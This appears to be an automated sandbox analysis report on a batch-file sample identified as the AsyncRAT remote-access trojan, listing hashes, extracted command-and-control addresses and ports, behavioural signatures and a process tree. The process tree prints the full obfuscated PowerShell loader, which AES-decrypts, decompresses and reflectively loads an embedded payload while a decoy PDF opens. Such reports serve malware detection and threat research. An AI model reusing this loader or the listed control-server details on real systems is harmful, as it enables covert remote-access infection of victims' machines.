Analysis
-
max time kernel
149s -
max time network
152s -
platform
windows10-1703_x64 -
resource
win10-20220901-en -
resource tags
arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system -
submitted
08-02-2023 03:50
Static task
static1
Behavioral task
behavioral1
Sample
dub.bat
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
dub.bat
Resource
win10-20220901-en
General
-
Target
dub.bat
-
Size
226KB
-
MD5
cf81b345541f19ab200b4d0de4a64962
-
SHA1
56dcdd340cb470fcd42c0cd1531d1eac8fcd7980
-
SHA256
07a0759d5b376fc57f2ad9c5a32d59829934828b862591225c43421044ffd4ec
-
SHA512
ac960f497fc3354831a76c1a385e95c65b66d862bd09e24b73bedb8e969d8221516e8d7a6eba257c5613c61d82d16305fd672a5112d441b97e5fefa0d88a7e97
-
SSDEEP
6144:LiEz3MvivRRFAFNmR3QaqnMadPo7lNhkLPUoV:mivRRFsNmwulNeLcoV
Malware Config
Extracted
asyncrat
0.5.7B
Default
45.12.253.146:6606
45.12.253.146:7707
45.12.253.146:8808
AsyncMutex_6SI8OkPnk
-
delay
3
-
install
false
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4796-141-0x000001D4CFCF0000-0x000001D4CFD02000-memory.dmp asyncrat -
Executes dropped EXE 1 IoCs
Processes:
dub.bat.exepid process 4796 dub.bat.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
AcroRd32.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 AcroRd32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz AcroRd32.exe -
Processes:
AcroRd32.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION AcroRd32.exe -
Modifies registry class 1 IoCs
Processes:
dub.bat.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000_Classes\Local Settings dub.bat.exe -
Suspicious behavior: EnumeratesProcesses 21 IoCs
Processes:
dub.bat.exeAcroRd32.exepid process 4796 dub.bat.exe 4796 dub.bat.exe 4796 dub.bat.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
dub.bat.exedescription pid process Token: SeDebugPrivilege 4796 dub.bat.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
AcroRd32.exepid process 2204 AcroRd32.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
AcroRd32.exepid process 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe 2204 AcroRd32.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exedub.bat.exeAcroRd32.exeRdrCEF.exedescription pid process target process PID 2732 wrote to memory of 4796 2732 cmd.exe dub.bat.exe PID 2732 wrote to memory of 4796 2732 cmd.exe dub.bat.exe PID 4796 wrote to memory of 2204 4796 dub.bat.exe AcroRd32.exe PID 4796 wrote to memory of 2204 4796 dub.bat.exe AcroRd32.exe PID 4796 wrote to memory of 2204 4796 dub.bat.exe AcroRd32.exe PID 2204 wrote to memory of 5032 2204 AcroRd32.exe RdrCEF.exe PID 2204 wrote to memory of 5032 2204 AcroRd32.exe RdrCEF.exe PID 2204 wrote to memory of 5032 2204 AcroRd32.exe RdrCEF.exe PID 2204 wrote to memory of 4772 2204 AcroRd32.exe RdrCEF.exe PID 2204 wrote to memory of 4772 2204 AcroRd32.exe RdrCEF.exe PID 2204 wrote to memory of 4772 2204 AcroRd32.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 212 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 4788 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 4788 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 4788 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 4788 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 4788 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 4788 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 4788 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 4788 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 4788 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 4788 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 4788 5032 RdrCEF.exe RdrCEF.exe PID 5032 wrote to memory of 4788 5032 RdrCEF.exe RdrCEF.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\dub.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\dub.bat.exe"dub.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $utCHT = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\dub.bat').Split([Environment]::NewLine);foreach ($sWAOq in $utCHT) { if ($sWAOq.StartsWith(':: ')) { $upQKs = $sWAOq.Substring(3); break; }; };$JjLmi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($upQKs);$YkqlI = New-Object System.Security.Cryptography.AesManaged;$YkqlI.Mode = [System.Security.Cryptography.CipherMode]::CBC;$YkqlI.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$YkqlI.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kiFQHKEXvznY0Nsnm3fp94kgb604e6Feq9TQN777Yxs=');$YkqlI.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5Ca2LFqXHi3HVlKnNoz3+g==');$vFmBU = $YkqlI.CreateDecryptor();$JjLmi = $vFmBU.TransformFinalBlock($JjLmi, 0, $JjLmi.Length);$vFmBU.Dispose();$YkqlI.Dispose();$fuUUI = New-Object System.IO.MemoryStream(, $JjLmi);$gvEAD = New-Object System.IO.MemoryStream;$wMQDT = New-Object System.IO.Compression.GZipStream($fuUUI, [IO.Compression.CompressionMode]::Decompress);$wMQDT.CopyTo($gvEAD);$wMQDT.Dispose();$fuUUI.Dispose();$gvEAD.Dispose();$JjLmi = $gvEAD.ToArray();$vodVl = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($JjLmi);$UBeHH = $vodVl.EntryPoint;$UBeHH.Invoke($null, (, [string[]] ('')))2⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\international_tariff_consumer.pdf"3⤵
- Checks processor information in registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=165140434⤵
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=790D3C72C6CF715876E85CB68AAFD394 --mojo-platform-channel-handle=1624 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:25⤵
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=7FF84E031D87C8135B226820DF7B7420 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=7FF84E031D87C8135B226820DF7B7420 --renderer-client-id=2 --mojo-platform-channel-handle=1656 --allow-no-sandbox-job /prefetch:15⤵
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=96046FBC0A9D33D8BBF68678B1F95294 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=96046FBC0A9D33D8BBF68678B1F95294 --renderer-client-id=4 --mojo-platform-channel-handle=2052 --allow-no-sandbox-job /prefetch:15⤵
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=33847BE72DDD34E2CF05342AE2493F6C --mojo-platform-channel-handle=2456 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:25⤵
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=C02BC447F14D651DF126E499FAFD21AC --mojo-platform-channel-handle=2460 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:25⤵
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=9850E51C5DFECCB84FCBA21D232D862E --mojo-platform-channel-handle=2500 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:25⤵
-
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=165140434⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\dub.bat.exeFilesize
435KB
MD5f7722b62b4014e0c50adfa9d60cafa1c
SHA1f31c17e0453f27be85730e316840f11522ddec3e
SHA256ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa
SHA5127fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4
-
C:\Users\Admin\AppData\Local\Temp\dub.bat.exeFilesize
435KB
MD5f7722b62b4014e0c50adfa9d60cafa1c
SHA1f31c17e0453f27be85730e316840f11522ddec3e
SHA256ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa
SHA5127fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4
-
C:\Users\Admin\AppData\Local\Temp\international_tariff_consumer.pdfFilesize
144KB
MD5c11925db0aeee6ed50d287441b8e1cec
SHA138e8070658872826d9afdd17df1e73475f62a286
SHA256ff75f9d0cad2ad4e55221d749a5ec0347d7b02df2da8c473d76ea1ba7aaeadb6
SHA5129178f928fb370abcf3deb39fd7bd9e5edfc01f8424dd27cf6f0f030261b037b310aed46e651302ca0f9e3e91f692f3d49d0403db9d201388941760eec596c059
-
memory/212-395-0x0000000000000000-mapping.dmp
-
memory/2204-185-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-208-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-187-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-152-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-153-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-154-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-155-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-156-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-157-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-158-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-159-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-160-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-161-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-162-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-163-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-166-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-168-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-167-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-170-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-171-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-169-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-165-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-164-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-173-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-174-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-189-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-175-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-176-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-177-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-178-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-179-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-180-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-181-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-182-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-183-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-184-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-150-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-186-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-148-0x0000000000000000-mapping.dmp
-
memory/2204-188-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-172-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-190-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-191-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-192-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-193-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-194-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-195-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-197-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-196-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-198-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-199-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-200-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-201-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-202-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-203-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-205-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-204-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-206-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-151-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-207-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-209-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-211-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-212-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-213-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2204-149-0x0000000076F80000-0x000000007710E000-memory.dmpFilesize
1.6MB
-
memory/2896-454-0x0000000000000000-mapping.dmp
-
memory/3976-723-0x0000000000000000-mapping.dmp
-
memory/4460-829-0x0000000000000000-mapping.dmp
-
memory/4652-920-0x0000000000000000-mapping.dmp
-
memory/4772-366-0x0000000000000000-mapping.dmp
-
memory/4788-427-0x0000000000000000-mapping.dmp
-
memory/4796-127-0x000001D4E7F20000-0x000001D4E7F42000-memory.dmpFilesize
136KB
-
memory/4796-132-0x000001D4E8B90000-0x000001D4E8C06000-memory.dmpFilesize
472KB
-
memory/4796-139-0x000001D4E7F90000-0x000001D4E7FC2000-memory.dmpFilesize
200KB
-
memory/4796-141-0x000001D4CFCF0000-0x000001D4CFD02000-memory.dmpFilesize
72KB
-
memory/4796-120-0x0000000000000000-mapping.dmp
-
memory/5032-261-0x0000000000000000-mapping.dmp